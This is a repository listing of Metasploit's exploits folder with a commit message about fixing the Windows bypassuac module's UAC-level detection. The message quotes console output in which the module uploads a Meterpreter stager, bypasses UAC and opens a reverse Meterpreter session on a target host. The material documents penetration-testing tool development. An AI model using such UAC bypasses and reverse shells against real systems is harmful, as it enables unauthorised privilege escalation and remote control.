metasploit-framework/modules/exploits
trustedsec 0799766faa Fix UAC is not enabled, no reason to run module when UAC is enabled and vulnerable
The new changes when calling uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') breaks UAC on Windows 7 and Windows 8 and shows that UAC is not enabled when it is:

Here is prior to the change on a fully patched Windows 8 machine:

msf exploit(bypassuac) > exploit

[*] Started reverse handler on 172.16.21.156:4444 
[*] UAC is Enabled, checking level...
[-] UAC is not enabled, no reason to run module
[-] Run exploit/windows/local/ask to elevate
msf exploit(bypassuac) > 

Here's the module when running with the most recent changes that are being proposed:

[*] Started reverse handler on 172.16.21.156:4444 
[*] UAC is Enabled, checking level...
[!] Could not determine UAC level - attempting anyways...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Sending stage (770048 bytes) to 172.16.21.128
[*] Meterpreter session 6 opened (172.16.21.156:4444 -> 172.16.21.128:49394) at 2013-10-05 15:49:23 -0400

meterpreter > 

With the new changes and not having a return on when 0 (will not always return 0 - just in certain cases where you cannot query) - it works.
2013-10-05 15:56:55 -04:00
..
aix Retab modules 2013-08-30 16:28:54 -05:00
apple_ios Retab modules 2013-08-30 16:28:54 -05:00
bsdi/softcart Retab modules 2013-08-30 16:28:54 -05:00
dialup/multi/login Retab modules 2013-08-30 16:28:54 -05:00
freebsd Retab changes for PR #2304 2013-09-05 13:41:25 -05:00
hpux/lpd Prefer Ruby style for single word collections 2013-09-24 12:33:31 -05:00
irix/lpd Prefer Ruby style for single word collections 2013-09-24 12:33:31 -05:00
linux Kill off EOL spaces on astium_sqli_upload. 2013-10-03 11:01:27 -05:00
multi First set of fixes for gestioip_exec 2013-10-04 13:29:27 -05:00
netware Retab modules 2013-08-30 16:28:54 -05:00
osx Prefer Ruby style for single word collections 2013-09-24 12:33:31 -05:00
solaris Prefer Ruby style for single word collections 2013-09-24 12:33:31 -05:00
unix Clean flashchat_upload_exec 2013-10-05 14:50:51 -05:00
windows Fix UAC is not enabled, no reason to run module when UAC is enabled and vulnerable 2013-10-05 15:56:55 -04:00